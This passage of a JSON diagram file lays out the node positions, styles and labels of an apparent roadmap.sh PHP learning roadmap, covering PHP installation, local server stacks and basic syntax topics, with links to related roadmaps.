\"width\": 256,\n      \"height\": 223,\n      \"style\": {\n        \"width\": 256,\n        \"height\": 223\n      },\n      \"positionAbsolute\": {\n        \"x\": 439.116943359375,\n        \"y\": 1080.671875\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 256,\n        \"height\": 223\n      }\n    },\n    {\n      \"id\": \"RjrP6TuYhXhW3uuZgqurX\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1213.7247832613762,\n        \"y\": 1255.3927959830828\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 273,\n      \"height\": 224,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 224\n      },\n      \"positionAbsolute\": {\n        \"x\": 1213.7247832613762,\n        \"y\": 1255.3927959830828\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 224\n      }\n    },\n    {\n      \"id\": \"hitsVjqeIuzCP0VUZRXkS\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1213.7247832613762,\n        \"y\": 1082.386458543616\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 273,\n      \"height\": 177,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 177\n      },\n      \"positionAbsolute\": {\n        \"x\": 1213.7247832613762,\n        \"y\": 1082.386458543616\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 177\n      }\n    },\n    {\n      \"id\": \"bN07oOEWH_UrXKfpp8MB0\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 443.57600354059275,\n        \"y\": 520.2840671348815\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 248,\n      \"height\": 170,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 170\n      },\n      \"positionAbsolute\": {\n        \"x\": 443.57600354059275,\n        \"y\": 520.2840671348815\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 170\n      }\n    },\n    {\n      \"id\": \"BxU_vv4FsalsT1Hq0qRRK\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1202.276875479259,\n        \"y\": 353.8062332403956\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 295,\n      \"height\": 171,\n      \"style\": {\n        \"width\": 295,\n        \"height\": 171\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1202.276875479259,\n        \"y\": 353.8062332403956\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 295,\n        \"height\": 171\n      }\n    },\n    {\n      \"width\": 97,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 903.4180934525762,\n        \"y\": 0.8384927221259204\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PHP\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 903.4180934525762,\n        \"y\": 0.8384927221259204\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 97,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 231,\n      \"height\": 50,\n      \"id\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 836.4180934525762,\n        \"y\": 176.58467727912247\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Introduction to PHP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"c1edrcSmHO_L2e9DGh7st\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 836.4180934525762,\n        \"y\": 176.58467727912247\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1163.5524659871344,\n        \"y\": -89.80917212901248\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 1163.5524659871344,\n        \"y\": -89.80917212901248\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 1176.7558403999344,\n        \"y\": -7.823608711267283\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1176.7558403999344,\n        \"y\": -7.823608711267283\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5Irad96FtU3TkNZRK7x_8\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 941.4180934525762,\n        \"y\": -100.16150727787408\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 101,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 101\n      },\n      \"positionAbsolute\": {\n        \"x\": 941.4180934525762,\n        \"y\": -100.16150727787408\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 101\n      }\n    },\n    {\n      \"width\": 431,\n      \"height\": 115,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 674.9108304175734,\n        \"y\": 3485.1214773746724\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Visit the following relevant tracks to learn more\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 674.9108304175734,\n        \"y\": 3485.1214773746724\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 431,\n        \"height\": 115\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 431,\n        \"height\": 115\n      }\n    },\n    {\n      \"width\": 132,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 687.4690151907014,\n        \"y\": 3539.267134807782\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 687.4690151907014,\n        \"y\": 3539.267134807782\n      },\n      \"style\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 85,\n      \"id\": \"xi0QAi4kXm3-IFKgopnOP\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 881.9180934525762,\n        \"y\": 3602.2511474107714\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RLtk1C3gofHnLJ17x3o5b\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 881.9180934525762,\n        \"y\": 3602.2511474107714\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 85\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 85\n      }\n    },\n    {\n      \"width\": 160,\n      \"height\": 49,\n      \"id\": \"CH_K6mmFX_GdSzi2n1ID7\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 822.4690151907014,\n        \"y\": 3539.267134807782\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"System Design\",\n        \"href\": \"https://roadmap.sh/system-design\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"-sFboM4eFUMVq1tlPl-fV\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 822.4690151907014,\n        \"y\": 3539.267134807782\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b2CuLrhsUNnb4OxI6RRAS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1202.276875479259,\n        \"y\": 147.20498499489238\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Evolution and History\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_LhLDVZjLt1DoAP1NuUES\"\n      },\n      \"zIndex\": 999,\n      \"width\": 295,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 295,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1202.276875479259,\n        \"y\": 147.20498499489238\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 295,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 108,\n      \"height\": 49,\n      \"id\": \"-sFboM4eFUMVq1tlPl-fV\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 985.4690151907014,\n        \"y\": 3539.267134807782\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DevOps\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"qXKNK_IsGS8-JgLK-Q9oU\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 985.4690151907014,\n        \"y\": 3539.267134807782\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lGgcjbbv3WAMOEi_NUZYh\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": 425.97033412372843,\n        \"y\": -89.80917212901248\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"LbEYhBU4a3KcEjU2gSJZF\",\n            \"label\": \"Backend Development\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/backend\"\n          },\n          {\n            \"id\": \"vYyCCHORoGY_av-xKYo0W\",\n            \"label\": \"DevOps Engineering\",\n            \"url\": \"https://roadmap.sh/devops\"\n          },\n          {\n            \"id\": \"y_H-6Syl9kgjV8kH5KE_m\",\n            \"label\": \"System Design\",\n            \"url\": \"https://roadmap.sh/system-design\"\n          },\n          {\n            \"id\": \"jvjB76BAVIvPOEfFRJD95\",\n            \"label\": \"Software Architect\",\n            \"url\": \"https://roadmap.sh/software-architect\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 301,\n      \"height\": 196,\n      \"positionAbsolute\": {\n        \"x\": 425.97033412372843,\n        \"y\": -89.80917212901248\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 301,\n        \"height\": 196\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 301,\n        \"height\": 196\n      }\n    },\n    {\n      \"id\": \"6sHRQTcoKL3TlgNJlwyx8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1202.276875479259,\n        \"y\": 201.20498499489238\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PHP Versions and Features\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oKbeLp4YB8rI1Q3vi0EnG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 295,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 295,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1202.276875479259,\n        \"y\": 201.20498499489238\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 295,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_LhLDVZjLt1DoAP1NuUES\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 541.9703341237284,\n        \"y\": 176.58467727912247\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What is PHP?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oKbeLp4YB8rI1Q3vi0EnG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 541.9703341237284,\n        \"y\": 176.58467727912247\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qA7UjGPRBRZaBdgHTS5o3\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 804.9180934525762,\n        \"y\": 288.0969042437795\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Development Environment\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 65,\n      \"style\": {\n        \"width\": 294,\n        \"height\": 65\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 804.9180934525762,\n        \"y\": 288.0969042437795\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 65\n      }\n    },\n    {\n      \"width\": 295,\n      \"height\": 49,\n      \"id\": \"3_TuxOSzBuktBlBF05r_z\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1202.276875479259,\n        \"y\": 296.0969042437795\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Installing PHP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_hYN0gEi9BL24nptEtXWU\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 295,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1202.276875479259,\n        \"y\": 296.0969042437795\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 295,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"36Y1HkHxhuxh2qVQB8NVE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1214.3239413874203,\n        \"y\": 366.334479565516\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"WAMP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1214.3239413874203,\n        \"y\": 366.334479565516\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-wniKEBwbF0Fi1fHpF-Gc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1308.3239413874203,\n        \"y\": 366.334479565516\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"XAMPP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1308.3239413874203,\n        \"y\": 366.334479565516\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"t7p7TU2khaxsZPYAdwFAA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1402.3239413874203,\n        \"y\": 366.334479565516\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MAMP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1402.3239413874203,\n        \"y\": 366.334479565516\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7LjxtrmgJtTJc0_kP83Tr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1215.3239413874203,\n        \"y\": 420.334479565516\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LAMP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1215.3239413874203,\n        \"y\": 420.334479565516\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SCp3PCqxAYbM9iBgLCG4_\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1297.3239413874203,\n        \"y\": 478.2656548567517\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Local Server\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1297.3239413874203,\n        \"y\": 478.2656548567517\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"usBwcXnWuUlaN71q1nbED\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 831.9180934525762,\n        \"y\": 406.8062332403956\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn the Fundamentals\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"qA7UjGPRBRZaBdgHTS5o3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 62,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 62\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 831.9180934525762,\n        \"y\": 406.8062332403956\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 62\n      }\n    },\n    {\n      \"id\": \"hzBUHSuFwLYNooF_vEmrs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 444.05794812125305,\n        \"y\": 305.8123134600021\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Basic PHP Syntax\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 444.05794812125305,\n        \"y\": 305.8123134600021\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D0BtyxyjIBcpfn5wP23WC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 444.05794812125305,\n        \"y\": 358.8123134600021\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Variables and Scope\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IhKjvT6CjRz4dsSU7SNQo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 444.05794812125305,\n        \"y\": 358.8123134600021\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"srIHPZabaCGdB5VvUXaMa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 444.05794812125305,\n        \"y\": 411.8123134600021\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IhKjvT6CjRz4dsSU7SNQo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 444.05794812125305,\n        \"y\": 411.8123134600021\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2ykzBBdYhWuM-neGf0AWP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 457.2038189111306,\n        \"y\": 532.0359440485736\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"echo\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 457.2038189111306,\n        \"y\": 532.0359440485736\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NQUmO90sqe7fnzod3Ia8H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 579.5613249380067,\n        \"y\": 532.0359440485736\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"print\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 579.5613249380067,\n        \"y\": 532.0359440485736\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JCCeVC0hOrvIeyfg1ScKA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 457.2038189111306,\n        \"y\": 586.0359440485736\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"var_dump\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 457.2038189111306,\n        \"y\": 586.0359440485736\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wsC7OGXOyfCY4pLLNrR2v\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 579.5613249380067,\n        \"y\": 586.0359440485736\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"print_r\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 579.5613249380067,\n        \"y\": 586.0359440485736\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d_Ei1E5a0j425i9Jf6ffd\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 471.57600354059275,\n        \"y\": 645.0359440485736\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Output and Debugging\",\n        \"href\": \"\",\n        